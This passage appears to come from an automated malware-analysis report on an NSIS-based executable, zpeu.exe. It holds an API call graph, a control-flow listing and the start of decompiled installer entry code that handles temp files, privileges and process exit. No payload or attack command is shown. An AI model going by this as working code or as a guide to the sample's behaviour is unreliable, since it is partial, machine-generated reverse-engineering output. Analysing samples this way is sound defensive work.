5649->5652 5650 10001164 GlobalAlloc 5650->5654 5651 100011f8 GlobalFree 5651->5654 5652->5654 5653 100012e1 lstrcpyW 5653->5654 5654->5646 5654->5647 5654->5648 5654->5649 5654->5650 5654->5651 5654->5652 5654->5653 5655 406ca2 5659 4067da 5655->5659 5656 407145 5657 406864 GlobalAlloc 5657->5656 5657->5659 5658 40685b GlobalFree 5658->5657 5659->5656 5659->5657 5659->5658 5659->5659 5660 4068d2 GlobalFree 5659->5660 5661 4068db GlobalAlloc 5659->5661 5660->5661 5661->5656 5661->5659 5662 4029a2 5663 402c15 17 API calls 5662->5663 5664 4029a8 5663->5664 5665 4029e8 5664->5665 5666 4029cf 5664->5666 5669 402885 5664->5669 5667 402a02 5665->5667 5668 4029f2 5665->5668 5670 4029d4 5666->5670 5671 4029e5 5666->5671 5673 40626e 17 API calls 5667->5673 5672 402c15 17 API calls 5668->5672 5676 40624c lstrcpynW 5670->5676 5671->5669 5677 406193 wsprintfW 5671->5677 5672->5671 5673->5671 5676->5669 5677->5669 4362 4015a3 4363 402c37 17 API calls 4362->4363 4364 4015aa SetFileAttributesW 4363->4364 4365 4015bc 4364->4365 5678 405224 5679 405234 5678->5679 5680 405248 5678->5680 5682 405291 5679->5682 5683 40523a 5679->5683 5681 405250 IsWindowVisible 5680->5681 5689 405267 5680->5689 5681->5682 5684 40525d 5681->5684 5685 405296 CallWindowProcW 5682->5685 5686 40422d SendMessageW 5683->5686 5691 404b7a SendMessageW 5684->5691 5688 405244 5685->5688 5686->5688 5689->5685 5696 404bfa 5689->5696 5692 404bd9 SendMessageW 5691->5692 5693 404b9d GetMessagePos ScreenToClient SendMessageW 5691->5693 5694 404bd1 5692->5694 5693->5694 5695 404bd6 5693->5695 5694->5689 5695->5692 5705 40624c lstrcpynW 5696->5705 5698 404c0d 5706 406193 wsprintfW 5698->5706 5700 404c17 5701 40140b 2 API calls 5700->5701 5702 404c20 5701->5702 5707 40624c lstrcpynW 5702->5707 5704 404c27 5704->5682 5705->5698 5706->5700 5707->5704 5708 4028a7 5709 402c37 17 API calls 5708->5709 5710 4028b5 5709->5710 5711 4028cb 5710->5711 5712 402c37 17 API calls 5710->5712 5713 405d19 2 API calls 5711->5713 5712->5711 5714 4028d1 5713->5714 5736 405d3e GetFileAttributesW CreateFileW 5714->5736 5716 4028de 5717 402981 5716->5717 5718 4028ea GlobalAlloc 5716->5718 5719 402989 DeleteFileW 5717->5719 5720 40299c 5717->5720 5721 402903 5718->5721 5722 402978 CloseHandle 5718->5722 5719->5720 5737 4032f5 SetFilePointer 5721->5737 5722->5717 5724 402909 5725 4032df ReadFile 5724->5725 5726 402912 GlobalAlloc 5725->5726 5727 402922 5726->5727 5728 402956 5726->5728 5729 4030fa 35 API calls 5727->5729 5730 405df0 WriteFile 5728->5730 5735 40292f 5729->5735 5731 402962 GlobalFree 5730->5731 5732 4030fa 35 API calls 5731->5732 5734 402975 5732->5734 5733 40294d GlobalFree 5733->5728 5734->5722 5735->5733 5736->5716 5737->5724 4548 40202c 4549 40203e 4548->4549 4550 4020f0 4548->4550 4551 402c37 17 API calls 4549->4551 4552 401423 24 API calls 4550->4552 4553 402045 4551->4553 4558 40224a 4552->4558 4554 402c37 17 API calls 4553->4554 4555 40204e 4554->4555 4556 402064 LoadLibraryExW 4555->4556 4557 402056 GetModuleHandleW 4555->4557 4556->4550 4559 402075 4556->4559 4557->4556 4557->4559 4571 406695 WideCharToMultiByte 4559->4571 4562 402086 4564 4020a5 4562->4564 4565 40208e 4562->4565 4563 4020bf 4566 4052b0 24 API calls 4563->4566 4574 10001759 4564->4574 4567 401423 24 API calls 4565->4567 4568 402096 4566->4568 4567->4568 4568->4558 4569 4020e2 FreeLibrary 4568->4569 4569->4558 4572 402080 4571->4572 4573 4066bf GetProcAddress 4571->4573 4572->4562 4572->4563 4573->4572 4575 10001789 4574->4575 4616 10001b18 4575->4616 4577 10001790 4578 100018a6 4577->4578 4579 100017a1 4577->4579 4580 100017a8 4577->4580 4578->4568 4664 10002286 4579->4664 4648 100022d0 4580->4648 4585 100017cd 4586 1000180c 4585->4586 4587 100017ee 4585->4587 4591 10001812 4586->4591 4592 1000184e 4586->4592 4677 100024a4 4587->4677 4588 100017d7 4588->4585 4674 10002b57 4588->4674 4589 100017be 4594 100017c4 4589->4594 4595 100017cf 4589->4595 4597 100015b4 3 API calls 4591->4597 4599 100024a4 10 API calls 4592->4599 4593 100017f4 4688 100015b4 4593->4688 4594->4585 4658 1000289c 4594->4658 4668 10002640 4595->4668 4602 10001828 4597->4602 4603 10001840 4599->4603 4606 100024a4 10 API calls 4602->4606 4607 10001895 4603->4607 4699 10002467 4603->4699 4605 100017d5 4605->4585 4606->4603 4607->4578 4611 1000189f GlobalFree 4607->4611 4611->4578 4613 10001881 4613->4607 4703 1000153d wsprintfW 4613->4703 4614 1000187a FreeLibrary 4614->4613 4706 1000121b GlobalAlloc 4616->4706 4618 10001b3c 4707 1000121b GlobalAlloc 4618->4707 4620 10001d7a GlobalFree GlobalFree GlobalFree 4622 10001d97 4620->4622 4637 10001de1 4620->4637 4621 10001b47 4621->4620 4624 10001c1d GlobalAlloc 4621->4624 4628 10001c68 lstrcpyW 4621->4628 4629 10001c86 GlobalFree 4621->4629 4631 10001c72 lstrcpyW 4621->4631 4636 10002048 4621->4636 4621->4637 4642 10001cc4 4621->4642 4643 10001f37 GlobalFree 4621->4643 4646 1000122c 2 API calls 4621->4646 4713 1000121b GlobalAlloc 4621->4713 4623 100020ee 4622->4623 4632 10001dac 4622->4632 4622->4637 4625 10002110 GetModuleHandleW 4623->4625 4623->4637 4624->4621 4626 10002121 LoadLibraryW 4625->4626 4627 10002136 4625->4627 4626->4627 4626->4637 4714 100015ff WideCharToMultiByte GlobalAlloc WideCharToMultiByte GetProcAddress GlobalFree 4627->4714 4628->4631 4629->4621 4631->4621 4632->4637 4710 1000122c 4632->4710 4633 10002188 4634 10002195 lstrlenW 4633->4634 4633->4637 4715 100015ff WideCharToMultiByte GlobalAlloc WideCharToMultiByte GetProcAddress GlobalFree 4634->4715 4636->4637 4641 10002090 lstrcpyW 4636->4641 4637->4577 4638 10002148 4638->4633 4647 10002172 GetProcAddress 4638->4647 4641->4637 4642->4621 4708 1000158f GlobalSize GlobalAlloc 4642->4708 4643->4621 4644 100021af 4644->4637 4646->4621 4647->4633 4653 100022e8 4648->4653 4649 1000122c GlobalAlloc lstrcpynW 4649->4653 4651 10002410 GlobalFree 4651->4653 4655 100017ae 4651->4655 4652 100023ba GlobalAlloc CLSIDFromString 4652->4651 4653->4649 4653->4651 4653->4652 4654 1000238f GlobalAlloc WideCharToMultiByte 4653->4654 4657 100023d9 4653->4657 4717 100012ba 4653->4717 4654->4651 4655->4585 4655->4588 4655->4589 4657->4651 4721 100025d4 4657->4721 4660 100028ae 4658->4660 4659 10002953 SetFilePointer 4661 10002971 4659->4661 4660->4659 4662 10002a62 GetLastError 4661->4662 4663 10002a6d 4661->4663 4662->4663 4663->4585 4665 10002296 4664->4665 4666 100017a7 4664->4666 4665->4666 4667 100022a8 GlobalAlloc 4665->4667 4666->4580 4667->4665 4671 1000265c 4668->4671 4669 100026c0 4672 100026c5 GlobalSize 4669->4672 4673 100026cf 4669->4673 4670 100026ad GlobalAlloc 4670->4673 4671->4669 4671->4670 4672->4673 4673->4605 4675 10002b62 4674->4675 4676 10002ba2 GlobalFree 4675->4676 4724 1000121b GlobalAlloc 4677->4724 4679 10002506 MultiByteToWideChar 4684 100024ae 4679->4684 4680 1000252b StringFromGUID2 4680->4684 4681 1000253c lstrcpynW 4681->4684 4682 1000256c GlobalFree 4682->4684 4683 1000254f wsprintfW 4683->4684 4684->4679 4684->4680 4684->4681 4684->4682 4684->4683 4685 100025a7 GlobalFree 4684->4685 4686 10001272 2 API calls 4684->4686 4725 100012e1 4684->4725 4685->4593 4686->4684 4729 1000121b GlobalAlloc 4688->4729 4690 100015ba 4691 100015c7 lstrcpyW 4690->4691 4693 100015e1 4690->4693 4694 100015fb 4691->4694 4693->4694 4695 100015e6 wsprintfW 4693->4695 4696 10001272 4694->4696 4695->4694 4697 100012b5 GlobalFree 4696->4697 4698 1000127b GlobalAlloc lstrcpynW 4696->4698 4697->4603 4698->4697 4700 10001861 4699->4700 4701 10002475 4699->4701 4700->4613 4700->4614 4701->4700 4702 10002491 GlobalFree 4701->4702 4702->4701 4704 10001272 2 API calls 4703->4704 4705 1000155e 4704->4705 4705->4607 4706->4618 4707->4621 4709 100015ad 4708->4709 4709->4642 4716 1000121b GlobalAlloc 4710->4716 4712 1000123b lstrcpynW 4712->4637 4713->4621 4714->4638 4715->4644 4716->4712 4718 100012c1 4717->4718 4719 1000122c 2 API calls 4718->4719 4720 100012df 4719->4720 4720->4653 4722 100025e2 VirtualAlloc 4721->4722 4723 10002638 4721->4723 4722->4723 4723->4657 4724->4684 4726 100012ea 4725->4726 4727 1000130c 4725->4727 4726->4727 4728 100012f0 lstrcpyW 4726->4728 4727->4684 4728->4727 4729->4690 5738 404c2c GetDlgItem GetDlgItem 5739 404c7e 7 API calls 5738->5739 5742 404e97 5738->5742 5740 404d21 DeleteObject 5739->5740 5741 404d14 SendMessageW 5739->5741 5743 404d2a 5740->5743 5741->5740 5749 404f7b 5742->5749 5757 404b7a 5 API calls 5742->5757 5769 404f08 5742->5769 5744 404d61 5743->5744 5746 40626e 17 API calls 5743->5746 5747 4041e1 18 API calls 5744->5747 5745 405027 5750 405031 SendMessageW 5745->5750 5756 405039 5745->5756 5751 404d43 SendMessageW SendMessageW 5746->5751 5748 404d75 5747->5748 5752 4041e1 18 API calls 5748->5752 5749->5745 5753 404fd4 SendMessageW 5749->5753 5781 404e8a 5749->5781 5750->5756 5751->5743 5770 404d83 5752->5770 5759 404fe9 SendMessageW 5753->5759 5753->5781 5754 404248 8 API calls 5760 40521d 5754->5760 5755 404f6d SendMessageW 5755->5749 5761 405052 5756->5761 5762 40504b ImageList_Destroy 5756->5762 5766 405062 5756->5766 5757->5769 5758 4051d1 5767 4051e3 ShowWindow GetDlgItem ShowWindow 5758->5767 5758->5781 5765 404ffc 5759->5765 5763 40505b GlobalFree 5761->5763 5761->5766 5762->5761 5763->5766 5764 404e58 GetWindowLongW SetWindowLongW 5768 404e71 5764->5768 5775 40500d SendMessageW 5765->5775 5766->5758 5780 404bfa 4 API calls 5766->5780 5785 40509d 5766->5785 5767->5781 5771 404e77 ShowWindow 5768->5771 5772 404e8f 5768->5772 5769->5749 5769->5755 5770->5764 5774 404dd3 SendMessageW 5770->5774 5776 404e52 5770->5776 5778 404e20 SendMessageW 5770->5778 5779 404e0f SendMessageW 5770->5779 5789 404216 SendMessageW 5771->5789 5790 404216 SendMessageW 5772->5790 5774->5770 5775->5745 5776->5764 5776->5768 5778->5770 5779->5770 5780->5785 5781->5754 5782 4051a7 InvalidateRect 5782->5758 5783 4051bd 5782->5783 5791 404b35 5783->5791 5784 4050cb SendMessageW 5788 4050e1 5784->5788 5785->5784 5785->5788 5787 405155 SendMessageW SendMessageW 5787->5788 5788->5782 5788->5787 5789->5781 5790->5742 5794 404a6c 5791->5794 5793 404b4a 5793->5758 5795 404a85 5794->5795 5796 40626e 17 API calls 5795->5796 5797 404ae9 5796->5797 5798 40626e 17 API calls 5797->5798 5799 404af4 5798->5799 5800 40626e 17 API calls 5799->5800 5801 404b0a lstrlenW wsprintfW SetDlgItemTextW 5800->5801 5801->5793 5802 402a2f 5803 402c15 17 API calls 5802->5803 5804 402a35 5803->5804 5805 402a6c 5804->5805 5807 402885 5804->5807 5808 402a47 5804->5808 5806 40626e 17 API calls 5805->5806 5805->5807 5806->5807 5808->5807 5810 406193 wsprintfW 5808->5810 5810->5807 5811 40432f lstrlenW 5812 404350 WideCharToMultiByte 5811->5812 5813 40434e 5811->5813 5813->5812 5814 401a30 5815 402c37 17 API calls 5814->5815 5816 401a39 ExpandEnvironmentStringsW 5815->5816 5817 401a4d 5816->5817 5819 401a60 5816->5819 5818 401a52 lstrcmpW 5817->5818 5817->5819 5818->5819 5820 4046b0 5821 4046dc 5820->5821 5822 4046ed 5820->5822 5881 405892 GetDlgItemTextW 5821->5881 5824 4046f9 GetDlgItem 5822->5824 5827 404758 5822->5827 5826 40470d 5824->5826 5825 4046e7 5828 4064e0 5 API calls 5825->5828 5829 404721 SetWindowTextW 5826->5829 5835 405bc8 4 API calls 5826->5835 5832 40626e 17 API calls 5827->5832 5843 40483c 5827->5843 5879 4049eb 5827->5879 5828->5822 5831 4041e1 18 API calls 5829->5831 5836 40473d 5831->5836 5837 4047cc SHBrowseForFolderW 5832->5837 5833 40486c 5838 405c25 18 API calls 5833->5838 5834 404248 8 API calls 5839 4049ff 5834->5839 5840 404717 5835->5840 5841 4041e1 18 API calls 5836->5841 5842 4047e4 CoTaskMemFree 5837->5842 5837->5843 5844 404872 5838->5844 5840->5829 5847 405b1d 3 API calls 5840->5847 5845 40474b 5841->5845 5846 405b1d 3 API calls 5842->5846 5843->5879 5883 405892 GetDlgItemTextW 5843->5883 5884 40624c lstrcpynW 5844->5884 5882 404216 SendMessageW 5845->5882 5849 4047f1 5846->5849 5847->5829 5852 404828 SetDlgItemTextW 5849->5852 5856 40626e 17 API calls 5849->5856 5851 404751 5854 406626 5 API calls 5851->5854 5852->5843 5853 404889 5855 406626 5 API calls 5853->5855 5854->5827 5863 404890 5855->5863 5857 404810 lstrcmpiW 5856->5857 5857->5852 5860 404821 lstrcatW 5857->5860 5858 4048d1 5885 40624c lstrcpynW 5858->5885 5860->5852 5861 4048d8 5862 405bc8 4 API calls 5861->5862 5864 4048de GetDiskFreeSpaceW 5862->5864 5863->5858 5866 405b69 2 API calls 5863->5866 5868 404929 5863->5868 5867 404902 MulDiv 5864->5867 5864->5868 5866->5863 5867->5868 5869 40499a 5868->5869 5870 404b35 20 API calls 5868->5870 5871 4049bd 5869->5871 5873 40140b 2 API calls 5869->5873 5872 404987 5870->5872 5886 404203 KiUserCallbackDispatcher 5871->5886 5875 40499c SetDlgItemTextW 5872->5875 5876 40498c 5872->5876 5873->5871 5875->5869 5878 404a6c 20 API calls 5876->5878 5877 4049d9 5877->5879 5880 404609 SendMessageW 5877->5880 5878->5869 5879->5834 5880->5879 5881->5825 5882->5851 5883->5833 5884->5853 5885->5861 5886->5877 5892 401db3 GetDC 5893 402c15 17 API calls 5892->5893 5894 401dc5 GetDeviceCaps MulDiv ReleaseDC 5893->5894 5895 402c15 17 API calls 5894->5895 5896 401df6 5895->5896 5897 40626e 17 API calls 5896->5897 5898 401e33 CreateFontIndirectW 5897->5898 5899 40258c 5898->5899 5900 402835 5901 40283d 5900->5901 5902 402841 FindNextFileW 5901->5902 5903 402853 5901->5903 5902->5903 5904 4029e0 5903->5904 5906 40624c lstrcpynW 5903->5906 5906->5904 5907 401735 5908 402c37 17 API calls 5907->5908 5909 40173c SearchPathW 5908->5909 5910 4029e0 5909->5910 5911 401757 5909->5911 5911->5910 5913 40624c lstrcpynW 5911->5913 5913->5910 5914 10002a77 5915 10002a8f 5914->5915 5916 1000158f 2 API calls 5915->5916 5917 10002aaa 5916->5917 5918 4014b8 5919 4014be 5918->5919 5920 401389 2 API calls 5919->5920 5921 4014c6 5920->5921 4914 40333d SetErrorMode GetVersion 4915 40337c 4914->4915 4916 403382 4914->4916 4917 406626 5 API calls 4915->4917 4918 4065b6 3 API calls 4916->4918 4917->4916 4919 403398 lstrlenA 4918->4919 4919->4916 4920 4033a8 4919->4920 4921 406626 5 API calls 4920->4921 4922 4033af 4921->4922 4923 406626 5 API calls 4922->4923 4924 4033b6 4923->4924 4925 406626 5 API calls 4924->4925 4926 4033c2 #17 OleInitialize SHGetFileInfoW 4925->4926 5005 40624c lstrcpynW 4926->5005 4929 40340e GetCommandLineW 5006 40624c lstrcpynW 4929->5006 4931 403420 GetModuleHandleW 4932 403438 4931->4932 4933 405b4a CharNextW 4932->4933 4934 403447 CharNextW 4933->4934 4935 403571 GetTempPathW 4934->4935 4942 403460 4934->4942 5007 40330c 4935->5007 4937 403589 4938 4035e3 DeleteFileW 4937->4938 4939 40358d GetWindowsDirectoryW lstrcatW 4937->4939 5017 402ec1 GetTickCount GetModuleFileNameW 4938->5017 4943 40330c 12 API calls 4939->4943 4940 405b4a CharNextW 4940->4942 4942->4940 4948 40355c 4942->4948 4950 40355a 4942->4950 4944 4035a9 4943->4944 4944->4938 4947 4035ad GetTempPathW lstrcatW SetEnvironmentVariableW SetEnvironmentVariableW 4944->4947 4945 4035f7 4946 4036aa 4945->4946 4951 40369a 4945->4951 4955 405b4a CharNextW 4945->4955 5104 403880 4946->5104 4949 40330c 12 API calls 4947->4949 5101 40624c lstrcpynW 4948->5101 4953 4035db 4949->4953 4950->4935 5045 40395a 4951->5045 4953->4938 4953->4946 4972 403616 4955->4972 4958 4037e4 4960 403868 ExitProcess 4958->4960 4961 4037ec GetCurrentProcess OpenProcessToken 4958->4961 4959 4036c4 4962 4058ae MessageBoxIndirectW 4959->4962 4963 403804 LookupPrivilegeValueW AdjustTokenPrivileges 4961->4963 4964 403838 4961->4964 4968 4036d2 ExitProcess 4962->4968 4963->4964 4971 406626 5 API calls 4964->4971 4966 403674 4969 405c25 18 API calls 4966->4969 4967 4036da 4970 405819 5 API calls 4967->4970 4973 403680 4969->4973 4974 4036df lstrcatW 4970->4974 4975 40383f 4971->4975 4972->4966 4972->4967 4973->4946 5102 40624c lstrcpynW 4973->5102 4976 4036f0 lstrcatW 4974->4976 4977 4036fb lstrcatW lstrcmpiW 4974->4977 4978 403854 ExitWindowsEx 4975->4978 4981 403861 4975->4981 4976->4977 4977->4946 4980 403717 4977->4980 4978->4960 4978->4981 4983 403723 4980->4983 4984 40371c 4980->4984 4985 40140b 2 API calls 4981->4985 4982 40368f 5103 40624c lstrcpynW 4982->5103 4988 4057fc 2 API calls 4983->4988 4987 40577f 4 API calls 4984->4987 4985->4960 4989 403721 4987->4989 4990 403728 SetCurrentDirectoryW 4988->4990 4989->4990 4991 403743 4990->4991 4992 403738 4990->4992 5112 40624c lstrcpynW 4991->5112 5111 40624c lstrcpynW 4992->5111 4995 40626e 17 API calls 4996 403782 DeleteFileW 4995->4996 4997 40378f CopyFileW 4996->4997 5002 403751 4996->5002 4997->5002 4998 4037d8 5000 406012 36 API calls 4998->5000 4999 406012 36 API calls 4999->5002 5000->4946 5001 40626e 17 API calls 5001->5002 5002->4995 5002->4998 5002->4999 5002->5001 5003 405831 2 API calls 5002->5003 5004 4037c3 CloseHandle 5002->5004 5003->5002 5004->5002 5005->4929 5006->4931 5008 4064e0 5 API calls 5007->5008 5009 403318 5008->5009 5010 403322 5009->5010 5011 405b1d 3 API calls 5009->5011 5010->4937 5012 40332a 5011->5012 5013 4057fc 2 API calls 5012->5013 5014 403330 5013->5014 5015 405d6d 2 API calls 5014->5015 5016 40333b 5015->5016 5016->4937 5113 405d3e GetFileAttributesW CreateFileW 5017->5113 5019 402f01 5044 402f11 5019->5044 5114 40624c lstrcpynW 5019->5114 5021 402f27 5022 405b69 2 API calls 5021->5022 5023 402f2d 5022->5023 5115 40624c lstrcpynW 5023->5115 5025 402f38 GetFileSize 5026 403034 5025->5026 5043 402f4f 5025->5043 5116 402e5d 5026->5116 5028 40303d 5030 40306d GlobalAlloc 5028->5030 5028->5044 5128 4032f5 SetFilePointer 5028->5128 5029 4032df ReadFile 5029->5043 5127 4032f5 SetFilePointer 5030->5127 5032 4030a0 5035 402e5d 6 API calls 5032->5035 5034 403088 5037 4030fa 35 API calls 5034->5037 5035->5044 5036 403056 5038 4032df ReadFile 5036->5038 5041 403094 5037->5041 5039 403061 5038->5039 5039->5030 5039->5044 5040 402e5d 6 API calls 5040->5043 5041->5041 5042 4030d1 SetFilePointer 5041->5042 5041->5044 5042->5044 5043->5026 5043->5029 5043->5032 5043->5040 5043->5044 5044->4945 5046 406626 5 API calls 5045->5046 5047 40396e 5046->5047 5048 403974 5047->5048 5049 403986 5047->5049 5137 406193 wsprintfW 5048->5137 5050 40611a 3 API calls 5049->5050 5051 4039b6 5050->5051 5052 4039d5 lstrcatW 5051->5052 5054 40611a 3 API calls 5051->5054 5055 403984 5052->5055 5054->5052 5129 403c30 5055->5129 5058 405c25 18 API calls 5059 403a07 5058->5059 5060 403a9b 5059->5060 5062 40611a 3 API calls 5059->5062 5061 405c25 18 API calls 5060->5061 5063 403aa1 5061->5063 5064 403a39 5062->5064 5065 403ab1 LoadImageW 5063->5065 5068 40626e 17 API calls 5063->5068 5064->5060 5072 403a5a lstrlenW 5064->5072 5076 405b4a CharNextW 5064->5076 5066 403b57 5065->5066 5067 403ad8 RegisterClassW 5065->5067 5071 40140b 2 API calls 5066->5071 5069 403b61 5067->5069 5070 403b0e SystemParametersInfoW CreateWindowExW 5067->5070 5068->5065 5069->4946 5070->5066 5075 403b5d 5071->5075 5073 403a68 lstrcmpiW 5072->5073 5074 403a8e 5072->5074 5073->5074 5077 403a78 GetFileAttributesW 5073->5077 5078 405b1d 3 API calls 5074->5078 5075->5069 5081 403c30 18 API calls 5075->5081 5079 403a57 5076->5079 5080 403a84 5077->5080 5082 403a94 5078->5082 5079->5072 5080->5074 5083 405b69 2 API calls 5080->5083 5084 403b6e 5081->5084 5138 40624c lstrcpynW 5082->5138 5083->5074 5086 403b7a ShowWindow 5084->5086 5087 403bfd 5084->5087 5089 4065b6 3 API calls 5086->5089 5088 405383 5 API calls 5087->5088 5090 403c03 5088->5090 5091 403b92 5089->5091 5092 403c07 5090->5092 5093 403c1f 5090->5093 5094 403ba0 GetClassInfoW 5091->5094 5096 4065b6 3 API calls 5091->5096 5092->5069 5100 40140b 2 API calls 5092->5100 5095 40140b 2 API calls 5093->5095 5097 403bb4 GetClassInfoW RegisterClassW 5094->5097 5098 403bca DialogBoxParamW 5094->5098 5095->5069 5096->5094 5097->5098 5099 40140b 2 API calls 5098->5099 5099->5069 5100->5069 5101->4950 5102->4982 5103->4951 5105 403898 5104->5105 5106 40388a CloseHandle 5104->5106 5140 4038c5 5105->5140 5106->5105 5109 40595a 67 API calls 5110 4036b3 OleUninitialize 5109->5110 5110->4958 5110->4959 5111->4991 5112->5002 5113->5019 5114->5021 5115->5025 5117 402e66 5116->5117 5118 402e7e 5116->5118 5119 402e76 5117->5119 5120 402e6f DestroyWindow 5117->5120 5121 402e86 5118->5121 5122 402e8e GetTickCount 5118->5122 5119->5028 5120->5119 5123 406662 2 API calls 5121->5123 5124 402e9c CreateDialogParamW ShowWindow 5122->5124 5125 402ebf 5122->5125 5126 402e8c 5123->5126 5124->5125 5125->5028 5126->5028 5127->5034 5128->5036 5130 403c44 5129->5130 5139 406193 wsprintfW 5130->5139 5132 403cb5 5133 403ce9 18 API calls 5132->5133 5135 403cba 5133->5135 5134 4039e5 5134->5058 5135->5134 5136 40626e 17 API calls 5135->5136 5136->5135 5137->5055 5138->5060 5139->5132 5141 4038d3 5140->5141 5142 4038d8 FreeLibrary GlobalFree 5141->5142 5143 40389d 5141->5143 5142->5142 5142->5143 5143->5109

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 0 40333d-40337a SetErrorMode GetVersion 1 40337c-403384 call 406626 0->1 2 40338d 0->2 1->2 7 403386 1->7 4 403392-4033a6 call 4065b6 lstrlenA 2->4 9 4033a8-4033c4 call 406626 * 3 4->9 7->2 16 4033d5-403436 #17 OleInitialize SHGetFileInfoW call 40624c GetCommandLineW call 40624c GetModuleHandleW 9->16 17 4033c6-4033cc 9->17 24 403440-40345a call 405b4a CharNextW 16->24 25 403438-40343f 16->25 17->16 21 4033ce 17->21 21->16 28 403460-403466 24->28 29 403571-40358b GetTempPathW call 40330c 24->29 25->24 30 403468-40346d 28->30 31 40346f-403473 28->31 38 4035e3-4035fd DeleteFileW call 402ec1 29->38 39 40358d-4035ab GetWindowsDirectoryW lstrcatW call 40330c 29->39 30->30 30->31 33 403475-403479 31->33 34 40347a-40347e 31->34 33->34 36 403484-40348a 34->36 37 40353d-40354a call 405b4a 34->37 42 4034a5-4034de 36->42 43 40348c-403494 36->43 52 40354c-40354d 37->52 53 40354e-403554 37->53 54 403603-403609 38->54 55 4036ae-4036be call 403880 OleUninitialize 38->55 39->38 58 4035ad-4035dd GetTempPathW lstrcatW SetEnvironmentVariableW * 2 call 40330c 39->58 49 4034e0-4034e5 42->49 50 4034fb-403535 42->50 47 403496-403499 43->47 48 40349b 43->48 47->42 47->48 48->42 49->50 56 4034e7-4034ef 49->56 50->37 57 403537-40353b 50->57 52->53 53->28 61 40355a 53->61 62 40369e-4036a5 call 40395a 54->62 63 40360f-40361a call 405b4a 54->63 75 4037e4-4037ea 55->75 76 4036c4-4036d4 call 4058ae ExitProcess 55->76 65 4034f1-4034f4 56->65 66 4034f6 56->66 57->37 59 40355c-40356a call 40624c 57->59 58->38 58->55 68 40356f 59->68 61->68 74 4036aa 62->74 79 403668-403672 63->79 80 40361c-403651 63->80 65->50 65->66 66->50 68->29 74->55 77 403868-403870 75->77 78 4037ec-403802 GetCurrentProcess OpenProcessToken 75->78 85 403872 77->85 86 403876-40387a ExitProcess 77->86 82 403804-403832 LookupPrivilegeValueW AdjustTokenPrivileges 78->82 83 403838-403846 call 406626 78->83 87 403674-403682 call 405c25 79->87 88 4036da-4036ee call 405819 lstrcatW 79->88 84 403653-403657 80->84 82->83 102 403854-40385f ExitWindowsEx 83->102 103 403848-403852 83->103 93 403660-403664 84->93 94 403659-40365e 84->94 85->86 87->55 99 403684-40369a call 40624c * 2 87->99 100 4036f0-4036f6 lstrcatW 88->100 101 4036fb-403715 lstrcatW lstrcmpiW 88->101 93->84 98 403666 93->98 94->93 94->98 98->79 99->62 100->101 101->55 105 403717-40371a 101->105 102->77 106 403861-403863 call 40140b 102->106 103->102 103->106 108 403723 call 4057fc 105->108 109 40371c-403721 call 40577f 105->109 106->77 117 403728-403736 SetCurrentDirectoryW 108->117 109->117 118 403743-40376c call 40624c 117->118 119 403738-40373e call 40624c 117->119 123 403771-40378d call 40626e DeleteFileW 118->123 119->118 126 4037ce-4037d6 123->126 127 40378f-40379f CopyFileW 123->127 126->123 129 4037d8-4037df call 406012 126->129 127->126 128 4037a1-4037c1 call 406012 call 40626e call 405831 127->128 128->126 138 4037c3-4037ca CloseHandle 128->138 129->55 138->126
                                      C-Code - Quality: 81%
                                      			_entry_() {
                                      				signed int _t51;
                                      				intOrPtr* _t56;
                                      				WCHAR* _t60;
                                      				char* _t63;
                                      				void* _t66;
                                      				void* _t68;
                                      				int _t70;
                                      				int _t72;
                                      				int _t75;
                                      				intOrPtr* _t76;
                                      				int _t77;
                                      				int _t79;
                                      				void* _t103;
                                      				signed int _t120;
                                      				void* _t123;
                                      				void* _t128;
                                      				intOrPtr _t147;
                                      				intOrPtr _t148;
                                      				intOrPtr* _t149;
                                      				int _t151;
                                      				void* _t154;
                                      				int _t155;
                                      				signed int _t159;
                                      				signed int _t164;
                                      				signed int _t169;
                                      				void* _t171;
                                      				WCHAR* _t172;
                                      				signed int _t175;
                                      				signed int _t178;
                                      				CHAR* _t179;
                                      				void* _t182;
                                      				int* _t184;
                                      				void* _t192;
                                      				char* _t193;
                                      				void* _t196;
                                      				void* _t197;
                                      				void* _t243;
                                      
                                      				_t171 = 0x20;
                                      				_t151 = 0;
                                      				 *(_t197 + 0x14) = 0;
                                      				 *(_t197 + 0x10) = L"Error writing temporary file. Make sure your temp folder is valid.";
                                      				 *(_t197 + 0x1c) = 0;
                                      				SetErrorMode(0x8001); // executed
                                      				_t51 = GetVersion() & 0xbfffffff;
                                      				 *0x42a20c = _t51;
                                      				if(_t51 != 6) {
                                      					_t149 = E00406626(0);
                                      					if(_t149 != 0) {
                                      						 *_t149(0xc00);
                                      					}
                                      				}
                                      				_t179 = "UXTHEME";
                                      				goto L4;
                                      				L8:
                                      				__imp__#17(_t192);
                                      				__imp__OleInitialize(_t151); // executed
                                      				 *0x42a2d8 = _t56;
                                      				SHGetFileInfoW(0x4216a8, _t151, _t197 + 0x34, 0x2b4, _t151); // executed
                                      				E0040624C(0x429200, L"NSIS Error");
                                      				_t60 = GetCommandLineW();
                                      				_t193 = L"\"C:\\Users\\Arthur\\Desktop\\zpeu.exe\"";
                                      				E0040624C(_t193, _t60);
                                      				 *0x42a200 = GetModuleHandleW(_t151);
                                      				_t63 = _t193;
                                      				if(L"\"C:\\Users\\Arthur\\Desktop\\zpeu.exe\"" == 0x22) {
                                      					_t63 =  &M00435002;
                                      					_t171 = 0x22;
                                      				}
                                      				_t155 = CharNextW(E00405B4A(_t63, _t171));
                                      				 *(_t197 + 0x18) = _t155;
                                      				_t66 =  *_t155;
                                      				if(_t66 == _t151) {
                                      					L33:
                                      					_t172 = L"C:\\Users\\Arthur\\AppData\\Local\\Temp\\";
                                      					GetTempPathW(0x400, _t172);
                                      					_t68 = E0040330C(_t155, 0);
                                      					_t225 = _t68;
                                      					if(_t68 != 0) {
                                      						L36:
                                      						DeleteFileW(L"1033"); // executed
                                      						_t70 = E00402EC1(_t227,  *(_t197 + 0x1c)); // executed
                                      						 *(_t197 + 0x10) = _t70;
                                      						if(_t70 != _t151) {
                                      							L48:
                                      							E00403880();
                                      							__imp__OleUninitialize();
                                      							_t239 =  *(_t197 + 0x10) - _t151;
                                      							if( *(_t197 + 0x10) == _t151) {
                                      								__eflags =  *0x42a2b4 - _t151;
                                      								if( *0x42a2b4 == _t151) {
                                      									L72:
                                      									_t72 =  *0x42a2cc;
                                      									__eflags = _t72 - 0xffffffff;
                                      									if(_t72 != 0xffffffff) {
                                      										 *(_t197 + 0x10) = _t72;
                                      									}
                                      									ExitProcess( *(_t197 + 0x10));
                                      								}
